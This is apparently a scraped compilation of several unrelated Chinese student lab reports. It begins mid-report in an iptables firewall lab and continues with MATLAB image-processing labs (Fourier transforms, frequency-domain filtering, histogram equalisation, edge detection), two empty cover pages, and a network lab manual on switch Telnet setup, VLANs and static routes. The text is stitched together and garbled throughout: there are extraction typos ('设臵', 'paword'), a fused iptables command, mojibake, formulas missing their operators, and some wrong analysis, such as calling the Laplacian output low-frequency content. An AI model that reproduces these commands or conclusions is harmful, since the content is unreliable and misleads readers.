虚拟机:linux,windowsXP;linux 主机用户名:root;密码:root 四.实验过程 1.查看规则表

# iptables -L INPUT --line-numbers //查看filter表中INPUT链中的所有规则,同时显示各条规则的顺序号

2.删除、清空规则

# iptables -F //不指定表名时,默认情况filter表

3.设臵规则链默认策略

# iptables -t filter -P FORWARD DROP //将filter表中FORWARD规则的默认策略设为DROP # iptables -P OUTPUT ACCEPT //将filter表中OUTPUT规则的默认策略设为ACCEPT 4.通用(general)条件匹配(直接使用,而不依赖于其他的条件匹配及其扩展) 协议匹配(允许使用的协议名包含在/etc/protocols文件中) # iptables -AINPUT -p icmp–j REJECT //拒绝进入防火墙的所有icmp数据包

地址匹配

拒绝转发来自192.168.1.11主机的数据,允许转发来自192.168.0./24网段的数据

# iptables -A FORWARD -s 192.168.1.11 -j REJECT

5.隐含(implicit)条件匹配(需要指定的协议匹配为前提,其对应的功能由iptables自动(隐含)的装载入内核),如果无匹配条件,默认为REJECT。端口匹配

仅允许系统管理员从202.13.0.0/16网段使用SSH方式远程登录防火墙主机 # iptables -A INPUT -p tcp --dport 22 -s 202.13.0.0/16 -j ACCEPT # iptables -A INPUT -p tcp --dport 22 -j DROP

6.禁止Windows主机ping防火墙linux主机,但是允许从防火墙上ping其他主机(允许接受ICMP回应数据)配臵linux防火墙主机ip地址,如下图所示:

7.配臵windows 主机ip 地址,如下图所示:

8.配臵linux 主机防火墙规则,如下图所示:

9.在此在windows 主机和linux 主机上进行相互ping 测试,测试结果如下图所示:

五.实验感想

通过本次实验,掌握了防火墙保护PC机避免被攻击的方法;在实验中,要先设臵规则,这样PC1和PC2之间就可以相互通信,方便做模拟实验;防火墙在抗攻击过程中起到了很好的作用,保护主机免受外来攻击。

锻炼了解决问题的能力。比如两个主机之间不能连通,问题可能有:双绞线本身有问题导致不能连通,电脑网卡未打开导致不连通等等。连通与否可以通过用Ping命令检查网络连接状况,其中在登录和设臵防火墙的时候也遇到很多问题,但是总的来说是完成了相关的实验,并利用基本的网络知识,锻炼了实践动手能力。通过具体的操作,基本掌握了防火墙抗攻击的配臵方式与方法,更加深入的了解防火墙的重要作用。

了解了防火墙的基本操作及原理,为以后打下基础,虽然各个厂商,各种产品的具体操作不一样,但是基本原理是相通的,通晓原理便可举一反三。同时培养了冷静分析解决问题的能力。

第11篇:中南大学数字图像处理实验报告

实 验 报 告

实验名称 课程名称

图像变换及频域滤波

数字图像处理

姓名

班级

学号

日期

地点

实验一 图像变换及频域滤波

一.实验目的

(1)编写快速傅里叶变换算法程序,验证二维傅里叶变换的平移性和旋转不变。; (2)实现图像频域滤波,加深对频域图像增强的理解。 二.实验环境及开发工具

Windws XP、MATALAB7.0、Visual C++、Visual Basic 三.实验方法

1.验证二维傅里叶变换的平移性和旋转不变性;

a.要验证证其平移特性,就先建立一个二维图象,然后再对其平移,通过观察两者的频谱图来观察平移特性,为了方便起见,我们选择特殊情况来分析,令u0=v0=N/2,使f2(x,y)(1)xyf1(x,y)F(u-N/2,v-N/2),达到将原始F(U,V)四周频谱移到中心的效果,及达到频谱中心化。

b.验证旋转不变性可以通过将原始数组的通过移动45度,然后再比较旋转后与旋转前的频谱,得出频谱旋转不变性的结论。 具体步骤:

1)产生如图1所示图像f1(x,y)(128×128大小,暗处=0,亮处=255) 2)同屏显示原图f1和FFT(f1)的幅度谱图。

3)若令f2(x,y)(1)xyf1(x,y),重复以上过程,比较二者幅度谱的异同。 4)将f2(x,y)顺时针旋转45度得到f3(x,y),显示FFT(f3)的幅度谱,并与FFT(f2)的幅度谱进行比较。

图1实验图象f1(x, y)

2.实现图像频域滤波,加深对频域图像增强的理解。频率域中进行增强是相当直观的,主要步骤有: 1)计算需要增强的图象的傅立叶变换; 2)将其与一个(根据需要设计的)转移的函数相乘; 3)再将结果反傅立叶变换以得到增强的图象.为了直观的展示频域增强,可以通过下面任务来展现: 对如图2所示的数字图像lena.img(256×256大小、256级灰度)进行频域的理想低通、高通滤波,同屏显示原图、幅度谱图和低通、高通滤波的结果图。

四.实验分析

1.验证二维傅里叶变换的平移性和旋转不变性 1)建立一个二维数组并要求该数组能够显示成图1.

a=zeros(128,128) for y=54:74 for x=34:94 a(x,y)=1; end end

然后再用显示图象的函数显示即可, 在此我们用imshow(a)语句。 为了得到幅度谱图,可以地数组a进行快速傅立叶变换,然后再用

图2 实验图象lena.img Mesh语句便可得到其幅度谱.2)观察其平移特性。

根据实验方法中的分析,构造一个新的数组存入平移后的原数组,通过在嵌套中加入语句b(x,y)=(-1).^(x+y).*a(x,y);即可,然后再用类似上面的方法画出图象和幅度谱.3)验证其旋转不变性。

首先将所得图画旋转45度,这需要通过将数组先相应的旋转,这个旋转有两种方式: (1)根据旋转后的图象算出旋转后的数组形式,通过点与点之间的变换来实现,需要分区间来画图和构建新的数组.然后用imshow来显示. (2)直接用IMROTATE(A,ANGLE,METHOD)语句,其中A表示数组,ANGLE表示旋转角度,METHOD表示旋转方向.我们令t=imrotate(a,315,\'nearest\',\'crop\')令可将数组a逆时针旋转135度,即相当于顺时针旋转45度。

然后比较旋转前后两幅图的差别以及其频率谱和幅度谱的异同。最后可以得结论。

2.实现图像频域滤波

1)读出图片,并生成图片的数组.首先要将lena.img与MATLAB程序文档放在一个目录下面,然后再用语句a=fopen(\'lena.img\',\'r\'); b=fread(a,[256,256],\'uchar\'); 打开图片并获得组成该图片的数组.然后用imshow(b),便可得到lena的人头图片.其次与上面任务一样,对图片数组进行快速傅立叶变换,然后用mesh()语句画出他的幅度谱图, 2)进行频域增强的低通滤波部分。

频域法的过程是: f(x,y)g(x,y).理想低通滤波的转移函数需满足以下条件: 正变换----F(u,v)---

修正H(u,v)---G(u,v)---

反变换H(u,v) H(u,v)=1; 当D(u,v) Do时; 其中Do是一个非负整数, D(u,v)是反映点(u,v)到频率平面原点的距离。当小于Do的频率可以完全不受影响的通过滤波器,而大于Do的则完全不能通过滤波器,该Do可以形象的表示成截断频率。

在低通滤波时,分别令Do等于88,24,11,5时,可得到低通滤波后的结果图象,通过观察其图象与幅度谱图来理解低通滤波的特性.3)进行频域增强的高通滤波部分。

一个2---D理想高通滤波器的转移函数满足下列条件 H(u,v) H(u,v)=0; 当D(u,v) Do时; 所得到的结果恰好与低通滤波相反, 当大于Do的频率可以完全不受影响的通过滤波器,而小于Do的则完全不能通过滤波器。

在高通滤波时,分别令Do等于2,8,24时,分别得到高通滤波后的结果图像,通过观察其图象与幅度谱图来理解高通滤波的特性。 关于此部分主要的函数语句是: (1) m=abs(b); m0=15*log(m+1.001); surf(m0); 求出数组之后将其进行fft2得到m,然后求出其绝对值,为了避免其数值过大,求其对数,且为了避免出现0和1的情况,可以在m的基础上加上1.001,最后用surf()函数显示出3----D效果.(2) r=24;

for x=1:256 for y=1:256

if (x-128).^2+(y-128).^2

end

end

通过对r数值的改变,和if条件的变化来实现不同的低通和高通情况下的滤波.五.实验结果及结论

1.验证二维傅里叶变换的平移性和旋转不变性;

1.1 产生的图像f1(x,y)与fft2(f1)幅度谱的程序如下:

clear all; close all; a=zeros(128,128) for y=54:74 for x=34:94 a(x,y)=1; end end figure(1) a1=fft2(a); subplot(1,2,1); imshow(a); subplot(1,2,2); a2=abs(a1); mesh(a2); for x=1:128 for y=1:128

b(x,y)=(-1).^(x+y).*a(x,y); end end figure(2) b1=fft2(b); subplot(1,2,1);

imshow(b); subplot(1,2,2); b2=abs(b1); mesh(b2);

figure(3)

t=imrotate(a,315,\'nearest\',\'crop\') t1=fft2(t); subplot(1,2,1); imshow(t); subplot(1,2,2); t2=abs(t1); surf(t2);

结果如图

1.2 令f2(x,y)(1)xyf1(x,y),则图像f2与FFT(f2)的幅度谱图如下:

结果分析:对比两图可以得到,1.2得的图就是将1.1得的图的频谱往中心移.即称为频谱中心化,将能量集中的4个角往中心靠拢。

1.3若将f2(x,y)顺时针旋转45°得到f3(x,y),则f3及FFT(f3)的幅度谱图如下

结果分析:将1.3得的图与1.1得的图比较可知,将原图移动旋转45度以后,幅度谱图仍然没的改变,图象能量依然集中在4个角。 2.实现图像频域滤波

2.1 对数字图像lena.img 进行频域的理想低通,同屏显示原图、幅度谱图和低通滤波的结果图。其中,取理想低通滤波的半径R分别为8

8、

24、11和5。

程序代码如下(取r=8时)

clear all; close all;

a=fopen(\'C:\\Users\\lenovo\\Desktop\\lena.img\',\'r\'); b=fread(a,[256,256],\'uchar\'); fclose(a); figure(1) subplot(1,2,1) imshow(b,[0,255]); b=fft2(b) m=abs(b); subplot(1,2,2) m0=15*log(m+1.001) surf(m) q=b;

t=fftshift(q) r=8; for x=1:256 for y=1:256

if (x-128).^2+(y-128).^2>r.^2; t(x,y)=0;

end

end end h2=abs(t);

h02=15*log(1.001+h2) figure(2)

imshow(h02,[0,255]); t=ifftshift(t); z=ifft2(t); figure(3); subplot(1,2,1) imshow(z,[0,255]); n=fft2(z); subplot(1,2,2); n=15*log(1.001+abs(n)); surf(n); 结果如下:

原图像及其频谱图

R=88时的理想低通滤波结果图和滤波频谱图

RR=24时的理想低通滤波结果图和滤波幅度谱图

R=11时的理想低通滤波结果图和滤波频谱图

R=5时的理想低通滤波结果图和滤波频谱图

当 R=5 时,滤波后的图像很模糊,无法分辨;

当 R=11 时,滤波后的图像比较模糊,但基本能分辨出人脸的形状; 当 R=24 时,滤波后的图像有些模糊,能分辨出脸上的器官轮廓,但由于理想低通滤波器在频域的锐截止特性,滤波后的图像有较明显的振铃现象;

当 R=88 时,滤波后的图像比较清晰,但高频分量损失后,图像边沿与文字变的有些模糊,在图像的边框附近仍有振铃现象。

2.2 对数字图像lena.img 进行频域的理想高通,同屏显示原图、幅度谱图和高通滤波的结果图。其中,取理想高通滤波的半径R 分别为

2、8 和24:

原图像及其频谱图

R=2时的理想高通滤波结果图和滤波频谱图

R=8时的理想高通滤波结果图和滤波频谱图

R=24时的理想高通滤波结果图和滤波频谱图

注:对理想高通滤波后的图像用直接灰度变换方法作了灰度范围的扩展。

当 R=2 时,滤波后的图像无直流分量,但灰度的变化部分基本上都保留了; 当 R=8时,滤波后的图像在文字和图像边缘部分的信息仍然保留; 当 R=24 时,滤波后的图像只剩下文字和白条边缘等信号突变的部分。

六、实验心得

、熟悉了MATLAB7.0的使用

、验证了二维傅里叶变换的平移性和旋转不变性。

、实现了对图像的频域滤波,掌握了频域图像增强,了解了低通滤波对图像的影响。

实 验 报 告

实验名称 课程名称

空间域图像增强 数字图像处理

姓名

成 马 力

班级

学电子信息1101

0909110108

日期 2013.11.29-- 2013.10.7

地点

综合实验楼四楼

实验二 空间域图像增强

一、实验目的

1、了解空间域图像增强的各种方法(点处理、掩模处理);

2、通过编写程序掌握采用直方图均衡化进行图像增强的方法;

3、使用邻域平均法编写程序实现图像增强,进一步掌握掩模法及其改进(加门限法)消除噪声的原理;

二、实验环境及开发工具

Windws2000/XP、MATLAB 6.x、Visual C++、Visual Basic或其它

三、实验方法

对如图所示的两幅128×1

28、256级灰度的数字图像fing_128.img和cell_128.img进行如下处理:

指纹图fing_128.img 显微医学图像(1)对原图像进行直方图均衡化处理,同屏显示处理前后图像及其直方图,比 较异同,并回答为什么数字图像均衡化后其直方图并非完全均匀分布。 (2)对原图像加入点噪声,用4-邻域平均法平滑加噪声图像(图像四周边界不处理,下同),同屏显示原图像、加噪声图像和处理后的图像。

①不加门限; ②加门限T11(其中f(m,n)2f(i,j)) f(m,n),2Nij

四、实验结果及分析

1、直方图均衡化处理 程序如下:

clear all; close all;

fid=fopen(\'C:\\Users\\lenovo\\Desktop\\fing_128.img\',\'r\');

f=fread(fid,[128,128],\'uchar\'); subplot(2,1,1); imshow(f,[0,255]); q=zeros(1,256); for x=1:128 for y=1:128

q(f(x,y)+1)=q(f(x,y)+1)+1; end end

s=q./(128*128); X=0:255; subplot(2,1,2); bar(X,s\'); figure;

t=zeros(1,256); t(1)=s(1); for i=2:256

t(i)=t(i-1)+s(i); end

subplot(2,1,1); bar(X,t\');

t0=floor(255*t+0.5); subplot(2,1,2); bar(X,t0\'); figure;

t1=zeros(1,256); for i=1:256

t1(t0(i)+1)=s(i)+t1(t0(i)+1); end

subplot(2,1,1); bar(X,t1\'); f1=zeros(128,128) for x=1:128 for y=1:128

f1(x,y)=t0(f(x,y)+1); end end

subplot(2,1,2); imshow(f1,[0,255]); 运行结果:

(1)、指纹均衡化处理

(2)、细胞的均衡化处理

2、对原图像加入点噪声

程序代码 不加门限:

clear all; close all; fid=fopen(\'C:\\Users\\lenovo\\Desktop\\fing_128.img\',\'r\');

f=fread(fid,[128,128],\'uchar\'); subplot(2,2,1); imshow(f,[0,255]); for x=1:128 for y=1:128 if x==y f(x,y)=255; elseif x+y==100 f(x,y)=0; end end end

subplot(2,2,2); imshow(f,[0,255]); f0=f; for x=2:127 for y=2:127

f0(x,y)=(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1)))./4;

end end

subplot(2,2,3); imshow(f0,[0,255]); t=fft2(f); T=t(1,1)/128;

f1=f; for x=2:127 for y=2:127

h=(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1)))./4;

if abs(f(x,y)-h)>T f1(x,y)=h; else

f1(x,y)=f(x,y); end end end

subplot(2,2,4); imshow(f1,[0,255]); 运行结果:

加门限:

clear all; close all;

fid=fopen(\'C:\\Users\\lenovo\\Desktop\\fing_128.img\',\'r\');

fg=fread(fid,[128,128],\'uchar\');

subplot(2,2,1); imshow(fg,[0,255]); a=randn(128,128); f=a.*20+fg; subplot(2,2,2); imshow(f,[0,255]); f0=f; for x=2:127 for y=2:127

f0(x,y)=(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1)))./4;

end end

subplot(2,2,3); imshow(f0,[0,255]); t=fft2(f); T=t(1,1)/128; f1=f; for x=2:127 for y=2:127

h=(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1)))./4;

if abs(f(x,y)-h)>T f1(x,y)=h; else

f1(x,y)=f(x,y); end

end end

subplot(2,2,4); imshow(f1,[0,255]); 运行结果:

(2) 细胞加入噪声及去噪

3、结果分析

(1)直方图均衡化处理后图像的对比度增强,变得相对清晰,达到了图像增强的效果。

(2)去噪的同时图像的某些细节变得模糊。

五、实验心得

1、通过本次试验了解了空间域图像增强的各种方法,如点处理、掩模处理等。

2、学会并掌握了编写采用直方图均衡化进行图像增强的方法。

实 验 报 告

实验名称 课程名称

图像边缘检测 数字图像处理

姓名

成 马 力

班级

学电子信息1101

0909110108

日期

地2013.11.19

综合实验楼四楼

实验三

图像边缘检测

一、实验目的

(1)了解并掌握使用微分算子进行图像边缘检测的基本原理;

(2)编写程序使用Laplacian算子(二阶导数算子)实现图像锐化,进一步理解图像锐化的实质;

(3)掌握使用不同梯度算子(一阶导数算子)进行图像边缘检测的原理、方法,根据实验结果分析各种算子的工作效果;

(4)总结实验过程(实验报告,左侧装订):方案、编程、调试、结果、分析、结论。

二、实验环境

操作系统:Windws2000/XP所用软件: MATLAB

6、Visual C++、Visual Basic或其它

三、实验内容及步骤

对256×256大小、256级灰度的数字图像lena.img(如图5.1所示)进行如下处理:

(1)对原图像进行锐化处理,显示处理前、后图像:

用Laplacian算子进行锐化,分1和2两种情况,各按如下不同情况给出处理结果,并回答提出的问题:

2g(m,n)f(m,n)f 1①

图1 实验图象lena.img ② g2(m,n)4f(m,n)[f(m1,n)f(m1,n)f(m,n1)f(m,n1)] 问题:(1)f(m,n)和g1(m,n)、g2(m,n)之间有何关系?g2(m,n)代表图像中的哪些信息?由此得出图像锐化的实质是什么?

(2)分别利用Roberts、Prewitt和Sobel边缘检测算子,对原图像进行边缘检测,显示处理前、后图像。

四、实验结果与分析 程序代码:

clear all; close all; fid=fopen(\'C:\\Users\\lenovo\\Desktop\\lena.img\',\'r\'); f=fread(fid,[256,256],\'uchar\'); subplot(2,2,1); imshow(f,[0,255]); g1=f;g2=f; a=1; for x=2:255 for y=2:255

g1(x,y)=f(x,y)-(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1))-f(x,y).*4).*a;

g2(x,y)=f(x,y).*4*a-(f((x-1),y)+f((x+1),y)+f(x,(y-1))+f(x,(y+1))).*a; end end subplot(2,2,2); imshow(g1,[0,255]); subplot(2,2,3); imshow(g2,[0,255]); 运行结果

a=1时原图、g1和g2的图像

a=2时原图、g1和g2的图像

利用Roberts、Prewitt和Sobel算子对lena.img进行边缘检测 程序代码:

clear all; close all; fid=fopen(\'C:\\Users\\lenovo\\Desktop\\lena.img\',\'r\'); f=fread(fid,[256,256],\'uchar\'); GR=f; GP=f; GS=f; for x=2:255 for y=2:255 GRx(x,y)=f(x,y)-f(x+1,y+1); GRy(x,y)=f(x,y+1)-f(x+1,y); GR(x,y)=sqrt((GRx(x,y)).^2+(GRy(x,y)).^2);

GPx(x,y)=(f(x-1,y+1)+f(x,y+1)+f(x+1,y+1))/3-(f(x-1,y-1)+f(x,y-1)+f(x+1,y-1))/3;

GPy(x,y)=(f(x-1,y-1)+f(x-1,y)+f(x-1,y+1))/3-(f(x+1,y-1)+f(x+1,y)+f(x+1,y+1))/3; GP(x,y)=sqrt((GPx(x,y)).^2+(GPy(x,y)).^2);

GSx(x,y)=(f(x-1,y+1)+2*f(x,y+1)+f(x+1,y+1))/3-(f(x-1,y-1)+2*f(x,y-1)+f(x+1,y-1))/3;

GSy(x,y)=(f(x-1,y-1)+2*f(x-1,y)+f(x-1,y+1))/3-(f(x+1,y-1)+2*f(x+1,y)+f(x+1,y+1))/3; GS(x,y)=sqrt((GSx(x,y)).^2+(GSy(x,y)).^2); end end subplot(2,2,1); imshow(f,[0,255]);title(\'ԭͼÏñ\'); subplot(2,2,2); imshow(GR,[0,255]);title(\'Roberts\'); subplot(2,2,3); imshow(GP,[0,255]);title(\'Prewitt\'); subplot(2,2,4); imshow(GS,[0,255]);title(\'Sobel\'); 运行结果:

a=2时原图、g1和g2的图像 分析:

g1(m,n)和g2(m,n)是f(m,n)的两个分量;g2(m,n)代表图像中的低频信息;因此得出图像锐化的实质是对原图像进行变换,保留高频成分。

五、实验结论

1、通过本实验了解了并掌握了使用微分算子进行图像边缘检测的基本原理;

2、学会使用Laplacian算子(二阶导数算子)实现图像锐化的程序编写。

3、掌握了使用不同梯度算子(一阶导数算子)进行图像边缘检测的原理、方法。

六、参考文献

[1] R.C.Gonzalez & R.E Woods.Digital Image Proceing(2E).Prentice Hall PTR,2002 中译本:阮秋琦等译.数字图像处理(第二版).北京:电子工业出版社,2005.3 [2] 冈萨雷斯.数字图像处理(MATLAB 版).北京:电子工业出版社,2005.9 [3] K.R.Castleman.数字图像处理.朱志刚等译.北京:电子工业出版社,1998.9 [4] 章毓晋.图象工程(上册)—图象处理和分析.北京:清华大学出版社,2003.7 [5] 何斌.Visual C++数字图像处理(第二版).北京:人民邮电出版社,2002.1

第12篇:上海工程技术大学实验报告封面

装订区域

化学化工学院实验报告

2014~2015学年第一学期

课程名称:

任课教师: 姓名/学号: 所学专业:

综合涂料实验

王继虎 弥嘉琦/041211126 高分子材料与工程

第13篇:西南大学课程实验报告8

西南大学课程实验报告

课程名称

微格教学

任课教师

代光英

学生姓名

王浪

所在班级

2011级 特殊教育

2013年

12 月 05 日

第14篇:江苏大学计算机网络实验报告专题

计算机网络实验报告册

实验一

交换机基本配置 实验学时:2学时 实验类型:验证 实验要求:必修

一、实验目的

1.掌握桌面网络组建方法

2.掌握 Quidway S系列中低端交换机几种常见配置方法

二、实验内容

1. 通过 Console口搭建配置环境 2. 通过 Telnet搭建配置环境

3. 熟悉 VRP的各种视图及各视图下的常用命令

三、实验原理、方法和手段 1. 交换机配置方式

交换机通常的配置方式有: Console方式 telnet方式 web方式

modem拨号方式

2. 命令行接口 Command-line Interface 华为网络设备中运行的操作 VRP ( Versatile Routing Platform) 向用户提 供一系列配置命令以及命令行接口,方便用户配置和管理网络设备,包 括以太网交换机。命令行有如下特性: 

通过 Console口进行本地配置 

通过 telnet进行本地或远程配置

通过 modem拨号登录到网络设备进行远程配置

配置命令分级保护,确保未授权用户无法侵入到网络设备 

用户可以随时键入<?>以获得在线帮助 1

提供网络测试命令,如 tracert、ping等,迅速诊断网络是否正常 

提供种类丰富、内容详尽的调试信息,帮助诊断网络故障 

用 telnet命令直接登录并管理其它网络设备 

提供 ftp服务,方便用户上载、下载文件

提供类似 Doskey的功能,可以执行某条历史命令

命令行解释器对关键字采取不完全匹配的搜索方法,用户只需键入 无冲突关键字即可解释

四、实验组织运行要求

1.学生在进行实验前必须进行充分的预习,熟悉实验内容;

2.学生严格遵守实验室的各项规章制度,注意人身和设备安全,配合和服 从实验室人员管理;

3.要求独立完成实验,教师可以给予一定的辅导; 4.教师检查学生的实验结果; 5.综合评定学生的实验成绩。

五、实验条件

1. 华为 Quidway S/思科 Catalyst 2960/中兴 ZXR10交换机 2. 计算机一台、配置电缆、局域网环境

六、实验步骤

通过 Console口搭建配置环境

1.如图 1-2,建立本地配置环境,只需将微机(或终端)的串口通过配置电 缆与以太网交换机的 Console口连接。 图 1‐ 1配置电缆的连接

2.在微机上运行终端仿真程序(如 Windows的超级终端),设置终端通信参 数为:波特率为 9600bit/s、8 位数据位、1 位停止位、无校验和无流控,并 选择终端类型为 VT100,如图 1-2至图

1-3所示:

图 1‐ 2运行 Terminal程序

图 1‐ 3设置 Terminal连接时参数

3. 以太网交换机上电,终端上显示以太网交换机自检信息,自检结束后提示 用户输入回车,之后将出现命令行提示符(如)。

4. 键入命令,配置以太网交换机或查看以太网交换机运行状态。需要帮助可 以随时键入“?”,具体的配置命令可以参考华为相关文档。 

通过 Telnet搭建配置环境

1.在通过 Telnet登录以太网交换机之前,需要通过

Console口在交换机上配 置欲登录的 Telnet用户名、认证口令、验证方式及权限。 system-view Enter system view, return user view with Ctrl+Z.[Quidway] user-interface vty 0 4 (0 4表示从第

0到第

4共

5个

vty用户) [Quidway-ui-vty0-4] set authentication paword simple xxxx (xxxx是欲设置 的该 Telnet用户登录口令)

[Quidway-ui-vty0-4] authentication-mode paword [Quidway-ui-vty0-4] user privilege level 3 2.配置交换机 IP地址,需要进入交换机的

VLAN接口

1视图,通常配置交 换机 VLAN接口

1的

IP地址就是配置了交换机的

IP地址。当使用

VLAN时 情况另当别论。

[Quidway] interface vlan 1 [Quidway-Vlan-interface1] ip addre x.x.x.x x.x.x.x(分别是

IP地址和子网掩 码)

3.如图 1-4所示,建立配置环境,只需将微机以太网接口通过局域网与以太 网交换机的以太网口连接。注意微机配置的

IP 地址必须与以太网交换机的 IP地址在同一个子网下。

图 1‐ 4基于网络环境的配置

在微机上运行 Telnet程序,输入与相连的以太网口所属

VLAN的

IP地址, 如图 1-5所示:

图 1‐ 5 Telnet方式配置

4.终端上显示“User Acce Verification”,并提示用户输入已设置的登录口令,口令输入正确后则出现命令行提示符(如

)。如果出现“Toomany users!”的提示,表示当前 Telnet到以太网交换机的用户过多,则请稍候再连(Quidway系列以太网交换机最多允许

5个

Telnet用户同时登录)。

5. 使用相应的命令配置以太网交换机或查看以太网交换机运行状态。需要帮 助可以随时键入“?”,具体的配置命令请参考华为相关文档。 配置实例(这里给出思科 ISO的配置过程):

Swtich>enable Switch# config terminal Switch(config)# interface vlan 1 Switch(config-if)# ip addre 192.168.1.1 255.255.255.0 Switch(config-if)# no shutdown Switch(config-if)# exit Switch(config)# line vty 0 4 Switch(config-line)# paword 123456 Switch(config-line)# login Switch(config-line)# end 熟悉 VRP的各种视图及各视图下的常用命令

1. 熟悉在用户视图、系统视图、接口视图之间的切换命令 2.充分利用?熟悉如何获得命令的关键字和格式 3. 了解使用时出现的各种错误信息的含义

七、思考题

1.

Telnet配置方式比起

console配置方式有哪些优点?

答:CONSOLE接口是用来配置交换机的,所以只有网管型交换机才有。而且还要注意,并不是所有网管型交换机都有,那是因为交换机的配置方法有多种,如通过Telnet命令行方式、Web方式、TFTP方式等,所以console配置面更广。 2. 为什么IP地址要设置在交换机的

VLAN接口上?

答:VLAN本身是个虚拟接口,只要你的PC和交换机线路通了,无论PC连接交换机哪个物理接口,都能通过VLAN接口管理交换机,用于管理交换机 。由于,二层交换机不能设置IP,管理员要管理这个交换机,就只能到现场配置,太麻烦了。在Vlan上设置IP地址,是为了方便远程管理二层交换机,同时也可以作为对应端口的网关。

实验二

基本 VLAN设置 实验学时:2学时 实验类型:验证 实验要求:必修

一、实验目的

1. 掌握配置 VLAN的基本命令

2. 在多个交换机所组成的交换网络中合理组织

VLAN

二、实验内容

1. 根据实验要求的物理拓扑结构连接以太交换网络

2. 根据实验要求的逻辑拓扑结构创建 VLAN并将相应的用户及网段划分到 对应的 VLAN中去

三、实验原理、方法和手段 1.

VLAN概述

VLAN 技术出现的一个主要原因是为了解决以太网的广播风暴。虽然通 过路由器也可以划分广播域,来减小广播风暴的影响,但路由器本身的 工作机制会增加网络数据传输的延迟,对网络的性能同样会产生一定的 影响。所以通过直接在以太网交换机上实施 VLAN,一方面解决了广播 风暴问题,另一方面也提供了高速的数据转发服务。 目前常用的 VLAN划分方式如下: 

基于端口的

VLAN 

基于 MAC地址的

VLAN 

基于子网信息的

VLAN 

基于协议的

VLAN 2.

IEEE802.1Q协议

IEEE802.1Q协议定义了以下的内容: 

VLAN的架构

VLAN中所提供的服务

VLAN实施中所涉及的协议和算法

VLAN的帧格式如图

2-1: 图 2‐1 802.1q帧格式

TPID ( Tag Protocol Identifier ) 是 IEEE定义的新的类型,表明这是一个 加了 802.1Q标签的帧。TPID包含了一个固定的值

0x8100。 TCI是帧的控制信息,它包含了下面的一些元素:

Priority:这 3位指明帧的优先级。一共有

8种优先级,0-7。IEEE 802.1Q 标准使用这 3位信息。

Canonical Format Indicator ( CFI ):CFI值为

0说明是规范格式,1为非规 范格式。它被用在令牌环/源路由 FDDI介质访问方法中来只是封装帧中 所带地址的比特次序信息。

VLAN Identifier ( VLAN ID ):这是一个 12位的域,指明

VLAN的

ID, 一共 4096个,每个支持

802.1Q协议的交换机发送出来的数据包都会包 含这个域,以指明自己属于哪一个 VLAN。

在一个交换网络环境中,以太网的帧有两种格式:有些帧是没有加上这 4 个字节标志的,称为未标记的帧(untagged frame),有些加上这 4 个字 节标志的,称为带有标记的帧(tagged frame)。 3.

VLAN配置基本命令

进入 VLAN视图及创建/删除

VLAN [undo] vlan vlan_id vlan_id是要创建的

VLAN的标识。 

给 VLAN指定端口 [undo] port interface_list interface_list 是被指定到该 VLAN 中的端口列表,该命令必须在

VLAN 7

视图下执行。

给端口指定

VLAN port acce vlan vlan_id vlan_id是该端口被指定的

VLAN标识,该命令必须在端口视图下执行。 

设置/取消接口为 VLAN Trunk port link-type {acce | trunk | hybrid} 在使用 VLAN的时候,交换机连接计算机的端口应该设置为 acce类型, 交换机之间连接的端口应该设置为 trunk类型,hybrid类型用在其它场合 中,可以参考华为相关文档。该命令必须在端口视图下执行。 

设置/取消 Trunk端口中允许通过的

VLAN [undo] port trunk permit vlan {vlan_list | all} 当某个端口被设置为 trunk 类型时,需要指定有哪些 VLAN 的帧可以通 过该端口,该命令必须在设置为 trunk类型的端口的视图下执行。

四、实验组织运行要求

1.学生在进行实验前必须进行充分的预习,熟悉实验内容; 2.学生拟定实验方案,熟悉实验内容和实验步骤;

3.学生严格遵守实验室的各项规章制度,注意人身和设备安全,配合和服 从实验室人员管理; 4.学生应独立完成实验,教师可以给予一定的辅导; 5.教师审查、分析学生实验方案和实验结果; 6.综合评定学生的实验成绩。

五、实验条件

1. 华为 Quidway/思科 Catalyst 2960/中兴 ZXR10交换机 2.

PC机、局域网环境

六、实验步骤

1. 按照图 2-2中的拓扑结构,通过配线系统将该以太交换网连接起来。

图 2‐2实验拓扑

2. 创建 VLAN,并将 PC机所连接的交换机端口划分到相应的

VLAN中, 配置实例如下: Switch>enable Switch# config terminal Switch(config)# vlan 2 Switch(config-vlan)# vlan 3 Switch(config-vlan)# exit Switch(config)# interface fa0/1 Switch(config-if)# switchport acce vlan 2 Switch(config-if)# interface fa0/2 Switch(config-if)# switchport acce vlan 3 Switch(config-if)# end

3. 查看 VLAN信息,配置实例如下: Switch# show vlan

4. 设置交换机之间的端口为 Trunk类型,并制定其封装格式和

VLAN过滤 范围,配置实例如下: Switch# config terminal Switch(config)# interface fa0/24 Switch(config-if)# switchport mode trunk Switch(config-if)# switchport trunk allowed vlan all 5. 测试 PC 机之间的连通性,构造广播流量并查看广播域的范围。

七、思考题 1. 若有一台 PC机连接交换机的

Trunk端口,则该

PC机能否进行通信? 答:可以,trunk模式下,端口用于交换机间连接。 2. 基于端口的 VLAN划分具有哪些优点?

答:1.广播风暴防范。限制网络上的广播,将网络划分为多个VLAN可减少参与广播风暴的设备数量。LAN分段可以防止广播风暴波及整个网络。

2.增强局域网的安全性,含有敏感数据的用户组可与网络的其余部分隔离,从而降低泄露机密信息的可能性。

3..成本高昂的网络升级需求减少,现有带宽和上行链路的利用率更高,因此可节约成本。4.提高IT员工效率。 5.增加网络连接的灵活性。

实验三

路由器安装与配置 实验学时:2学时 实验类型:验证 实验要求:必修

一、实验目的

1. 掌握手工配置路由表的方法 2. 掌握读懂路由表的能力

二、实验内容

1. 根据要求正确连接网络

2. 正确配置网络中设备的 IP信息

3. 正确配置路由器之间的广域网协议参数 4. 在路由器上配置静态路由协议

三、实验原理、方法和手段 1. 静态路由简介

静态路由是一种特殊的路由,由管理员手工配置而成。在组网结构较简 单、到给定目标只有一条路径的网络中,只需配置静态路由就能使路由 器正常工作。正确地设置和使用静态路由能有效地保证网络安全,并可 为重要的应用保证带宽。

使用静态路由也存在一些问题:当网络出现问题或因其它原因引起拓扑 变化时,静态路由不会自动发生改变,不需要有网络管理员的介入。 2. 静态路由的配置 静态路由的配置包括: 

配置静态路由

表 3‐ 1 配置缺省路由 表 3‐ 2

配置静态路由缺省优先级

